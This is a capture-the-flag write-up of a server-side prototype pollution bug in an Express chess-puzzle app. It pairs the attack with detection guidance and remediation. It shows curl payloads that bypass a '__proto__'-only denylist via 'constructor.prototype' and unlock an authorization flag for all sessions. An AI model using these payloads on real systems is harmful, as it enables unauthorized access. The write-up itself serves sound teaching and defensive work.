Room: Fool’s Mate: Revenge

A browser-based puzzle app let any visitor claim a reward that was meant to be granted only to accounts the operator had specifically approved, without ever creating an account, logging in, or guessing a credential. One crafted request was enough to flip that approval flag — and because of where the flag actually lived in the server’s memory, the same request permanently unlocked the reward for every other visitor hitting that server afterward, not just the attacker’s own session.
The root cause is server-side prototype pollution (see Section 3): a settings endpoint merges attacker-supplied JSON into server state without properly restricting property names, letting a request reach Object.prototype and change what an unrelated authorization check evaluates to for every session. The bug surfaced by mapping the app’s endpoints from its client-side JavaScript rather than brute-forcing paths, which pointed straight at the one route that merges JSON into server state (see Section 10 for the full step-by-step).
Contents
- 1. Recon
- 2. Attack Flow
- 3. The Vulnerability
- 3.1 Root Cause
- 3.2 Why
constructor.prototypeEquals__proto__ - 3.3 Why an Unrelated Authorization Check Was Affected
- 4. Exploitation Walkthrough
- 5. Dead Ends
- 6. Secondary Finding: Verbose Error Disclosure
- 7. Real-World Impact
- 8. Detection Guidance
- 9. Remediation
- 10. Methodology Summary
- 11. Takeaways
1. Recon
The target (TARGET_IP:3000, an Express application named “Endgame Trainer”) is a single-page chess UI: the client is presented with a mate-in-one position, and solving it is intended to unlock a reward.

$ curl -s -i http://TARGET_IP:3000/
HTTP/1.1 200 OK
X-Powered-By: Express
...
<title>Endgame Trainer</title>
X-Powered-By: Express is worth noting at this stage — the Node/npm ecosystem has a long, well-documented history of “deep merge” utilities (lodash.merge, deep-extend, hand-rolled Object.assign replacements) that are pollutable by default. This is not conclusive on its own, but it raises the prior for a pollution-class bug.
Rather than enumerating paths via brute force, the client-side JavaScript bundle, js/app.js, which is found in the source code:

js/app.js was reviewed directly — it names every backend route the frontend calls:

| Endpoint | Method | Purpose |
|---|---|---|
/api/state | GET | Fetch current board FEN |
/api/move | POST | Submit a move ({from, to, promotion}) |
/api/reset | POST | Reset the board |
/api/settings | POST | Persist UI preferences (theme, piece set, animation speed) |
Two elements of the client code were relevant. First, the finalize() handler:
function finalize(data) {
if (data.flag) {
showFlag(data.flag);
} else if (data.locked) {
showSystemNotice(data.message || 'Checkmate! Reward is locked for this account.');
}
}
Checkmate produces one of two server responses: one includes a flag, the other does not. The branch is determined server-side. Second, the savePrefs() function sends a JSON object to /api/settings, which is merged into server-held state:
async function savePrefs() {
const prefs = { theme, pieceSet, animationMs };
const res = await fetch('/api/settings', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(prefs)
});
...
}
A JSON body merged into server-held state and partially echoed back is the most common real-world prototype pollution entry point, and was examined next.
The mate-in-one (a back-rank mate, Ra1–a8#) was played against a clean session to confirm the gate exists and is closed by default:

$ curl -s -c jar.txt -X POST http://TARGET_IP:3000/api/reset
$ curl -s -b jar.txt -X POST http://TARGET_IP:3000/api/move \
-H "Content-Type: application/json" -d '{"from":"a1","to":"a8"}'
{"ok":true, "...": "...", "status":"checkmate", "winner":"white",
"locked":true,
"message":"Checkmate! No reward for you.",
"reason":"reward gate closed: session.config.unlocked is not set"}

The reason field discloses the internal check directly; this is addressed separately in Section 6.
2. Attack Flow
The vulnerable code and the code it compromises reside in two unrelated features. There is no conventional data flow between the settings endpoint and the reward check — the only connection between them is the shared, mutable Object.prototype.

A single request to a preferences endpoint alters the outcome of an authorization check in an unrelated route, for every session handled by the process.
3. The Vulnerability
3.1 Root Cause
Prototype pollution occurs when attacker-controlled JSON is recursively copied onto an object using target[key] = value, without excluding the special key names JavaScript uses to reach an object’s prototype: __proto__, and constructor.prototype. If target is a plain {}, both of those paths lead to the same location — Object.prototype, shared by every plain object in the process.
This application’s merge function blocked the literal string "__proto__" — a common, incomplete mitigation — but not "constructor"/"prototype":
Blocked, no effect:
$ curl -s -X POST http://TARGET_IP:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"theme":"forest","__proto__":{"isAdmin":true}}'
{"ok":true,"preferences":{"theme":"forest"}}
Not blocked — bypass:
$ curl -s -X POST http://TARGET_IP:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"theme":"forest","constructor":{"prototype":{"unlocked":true}}}'
{"ok":true,"preferences":{"theme":"forest"}}
Technical nuance: both requests return an identical-looking response.
JSON.stringifyserializes only an object’s own enumerable properties, never inherited ones, sopreferences.unlockednever appears in a response body even after pollution succeeds. Impact can only be confirmed by observing behavior elsewhere in the application that reads a property without an explicithasOwnPropertycheck — the response to the polluting request itself is not informative.
3.2 Why constructor.prototype Equals __proto__
Every plain object in JavaScript exposes two equivalent paths to the same shared prototype:
{}.__proto__ === Object.prototype // true
{}.constructor === Object // true
{}.constructor.prototype === Object.prototype // true
Any recursive merge that walks into target[key] for a nested object, and that nested object already exists on target — which is true for both __proto__ (via the inherited accessor) and constructor (via inheritance) — will recurse into it and begin assigning attacker-controlled keys onto the real Object.prototype. A denylist that stops at __proto__ blocks only the most obvious payload shape and leaves this equivalent path fully open. This is one of the most common incomplete fixes for CWE-1321 in production code: early patches for lodash.merge, deep-extend, and numerous hand-rolled Object.assign replacements had this exact gap before later hardening.
Technical nuance: a literal
{"__proto__": {...}}in a JSON body does not pollute anything by itself.JSON.parsecreates"__proto__"as a genuine own data property on the parsed object, bypassing the accessor, so the payload is inert until a merge routine later performstarget[key] = ...withkey === "__proto__"on a target lacking its own such property. Whether that reaches the realObject.prototypeor merely shadows it depends entirely on how the merge function is written — which is also why a__proto__string filter alone gives an incomplete guarantee.
3.3 Why an Unrelated Authorization Check Was Affected
The checkmate handler’s reward check reads as follows, reconstructed from observed behavior:
session.config = session.config || {}; // fresh {}, no OWN "unlocked" key
if (session.config.unlocked) {
return res.json({ ..., flag: FLAG });
}
return res.json({ ..., locked: true, reason: "reward gate closed: session.config.unlocked is not set" });
session.config.unlocked is a plain property read, and property reads traverse the prototype chain. Once Object.prototype.unlocked = true exists anywhere in the process, every session.config object — created before or after the pollution — inherits it as a default value, and the check passes for all sessions.
This is the core of the impact: the vulnerability and the authorization decision it defeats live in two unrelated features (/api/settings preferences vs. /api/move checkmate reward logic), with no data flow between them beyond the process-wide, mutable Object.prototype that the entire application implicitly trusts.
4. Exploitation Walkthrough
Step 1 — confirm the gate is closed for a clean session: see Section 1 above.
Step 2 — send the pollution payload (single unauthenticated request):

curl -s -X POST http://TARGET_IP:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"theme":"forest","constructor":{"prototype":{"unlocked":true}}}'
{"ok":true,"preferences":{"theme":"forest"}}
The response contains no error and no indication of success. Object.prototype.unlocked is now true for the entire process.
Step 3 — reset the puzzle and replay the mate on the same session:

curl -s -c victim.txt -X POST http://TARGET_IP:3000/api/reset
curl -s -b victim.txt -X POST http://TARGET_IP:3000/api/move \
-H "Content-Type: application/json" -d '{"from":"a1","to":"a8"}'
{"ok":true, "...": "...", "status":"checkmate", "winner":"white",
"flag":"THM{... [REDACTED] ...}"}
The chess move itself is unrelated to the vulnerability; it is only the trigger condition for the reward check. Starting position 6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1 has Black’s king confined to the back rank by its own pawns with no defender, so Ra1–a8# mates in one: {"from":"a1","to":"a8"}.
5. Dead Ends
The following payload variants were also tested:
| Payload | Result |
|---|---|
{"__proto__":{"unlocked":true}} | No effect — __proto__ explicitly filtered |
{"__proto__":{"polluted":"yes"}} | No effect (same reason) |
{"constructor":{"prototype":{"unlocked":true}}} | Works |
Common source-leak paths (package.json, server.js, .env, .git/HEAD) all returned 404 — no server source disclosure was available. GET /api/settings also returned 404 (POST-only route, no method-based information leak).
6. Secondary Finding: Verbose Error Disclosure
Independent of the pollution bug, the locked response discloses the literal expression gating the reward:
"reason": "reward gate closed: session.config.unlocked is not set"
This is a CWE-215 (debug information exposure) finding. It discloses the exact object path (session.config) and property (unlocked) used in the authorization decision, reducing exploitation from a search problem to a direct, targeted payload. Authorization failure messages returned to the client should not describe the internal reason for the failure; the detail should be logged server-side and a generic message returned instead.
7. Real-World Impact
This challenge is a minimal reproduction of a bug class with a record of causing production impact:
- Kibana (CVE-2019-7609): prototype pollution in a visualization plugin escalated to remote code execution via a
timelionexpression gadget. - lodash (CVE-2018-3721, CVE-2019-10744):
merge/mergeWith/defaultsDeepwere pollutable, affecting a large share of the npm ecosystem transitively. - Authentication middleware in multiple real Node applications has been defeated the same way —
if (user.isAdmin)orif (req.session.role === 'admin')behave identically to this challenge’sunlockedflag: falsy by default, truthy for every session once polluted. - The same bug class exists client-side (
$.extend(true, ...)and equivalents), typically chained into DOM XSS via a polluted default later passed toinnerHTMLor a template engine.
The broader implication is that prototype pollution functions as an authorization-bypass primitive rather than a self-contained bug. Any merge of untrusted JSON into a plain object — anywhere in the application or in a transitive dependency — that does not filter __proto__/constructor/prototype is a potential bypass for every if (obj.someFlag) check in the process, including in code that shares no call path with the vulnerable merge function.
8. Detection Guidance
- Review merge/clone/extend code, not just the string
__proto__. Any hand-rolled recursive merge function should be read in full and checked for denial of all three of__proto__,constructor, andprototype— ideally via an allowlist of expected keys rather than a denylist of dangerous ones.
grep -RnE "for\s*\(.*in\s|Object\.keys\(.*\)\.forEach|\.assign\(|merge\(|extend\(|defaultsDeep\(" --include=*.js
- Run dependency scanners. Known-vulnerable versions of
lodash,deep-extend,merge-deep,hoek, and similar packages are caught by standard tooling:
npm audit
npx snyk test
- Send the baseline
__proto__payload first.{"__proto__":{"polluted":true}}against any endpoint that persists settings/preferences/config. - If filtered, try the
constructor.prototypebypass.{"constructor":{"prototype":{"polluted":true}}}— this is the single most common gap left by a__proto__-only denylist. - Do not rely on the response body. Test for behavioral side effects from a separate, fresh session/request instead of expecting the polluting request’s own response to show anything.
- Target property names that resemble feature flags or roles.
isAdmin,unlocked,debug,role,verified— informed by anything the application’s error messages disclose. - Use a generic canary when no gadget is obvious yet. Polluting
toStringorvalueOfwith a non-function value reliably breaks code paths that implicitly coerce objects to strings/numbers, confirming pollution even without a clear authorization bypass in view.
9. Remediation
Quick fix:
- Allowlist accepted keys. Explicitly allow only
theme,pieceSet, andanimationMson/api/settings, and reject anything else — more robust than enumerating dangerous key names, and a small change to ship. - Read security-relevant flags with
hasOwnProperty. Change the checkmate gate toObject.hasOwn(session.config, 'unlocked')(orObject.prototype.hasOwnProperty.call(...)) instead of a bare truthy read. This alone neutralizes the impact even if the merge bug remains present. - Remove internal reasons from client-facing errors. Strip the
reasonfield from the response and log it server-side only.
Defense in depth:
- Build user-derived objects with no prototype.
Object.create(null)removes the prototype chain entirely, so there is nothing to pollute into even if a dangerous key slips through. - Use a maintained, hardened merge library if one is genuinely needed.
lodash≥ 4.17.21 patches the known pollution gadgets; keep it enforced vianpm auditin CI. - Disable the
__proto__accessor at the runtime level. Running Node with--disable-proto=throw(Node ≥ 12) makes any access to the accessor throw instead of succeeding silently. This does not stop theconstructor.prototypevariant used here — treat it as a baseline mitigation, not a complete fix. - Freeze
Object.prototypeas a circuit breaker.Object.freeze(Object.prototype)causes any pollution attempt to fail silently or throw, in services with no legitimate reason to extend built-in prototypes at runtime. Test carefully first, since some dependencies monkey-patch prototypes at startup and freezing must happen after that.
10. Methodology Summary
- Fingerprinted the stack (
Express) from response headers. - Read the client-side JavaScript instead of blind directory brute-forcing, revealing every backend endpoint and the two-branch (
flagvs.locked) checkmate response. - Played the mate-in-one against a clean session to confirm the reward gate exists and captured its verbose failure message.
- Identified
/api/settingsas the only endpoint accepting a JSON object merged into server-held state. - Tested the standard
__proto__payload — blocked by an incomplete denylist. - Pivoted to the
constructor.prototypeequivalent — succeeded silently, with no observable difference in the response. - Verified the impact was global, not session-scoped, by checking the reward gate from a completely independent, never-polluted session.
- Captured the flag.
11. Takeaways
- A
__proto__-only denylist is not a complete fix. It provides a false sense of security, sinceconstructor.prototypereaches the identical object and is one of the most common bypasses for this class of incomplete patch. - Prototype pollution’s danger comes from decoupling. The vulnerable code and the code it compromises need not share a call stack, a module, or even an author’s understanding of what is security-relevant — they only need to both operate on plain JavaScript objects.
- An unremarkable response is not proof of failure. A pollution payload that returns a completely normal-looking response should be treated as inconclusive, not negative — impact must be verified independently, against a clean, separate session.
- Verbose internal error messages are reconnaissance material. The
reasonfield in this application turned a search problem into a one-shot, targeted payload. - Audit your own merge logic today. If you maintain a Node service, find every place your code merges, extends, or deep-clones an object built from request input, and check whether it’s an allowlist or a denylist. If it’s a denylist, it’s probably missing
constructor/prototypejust like this one was.
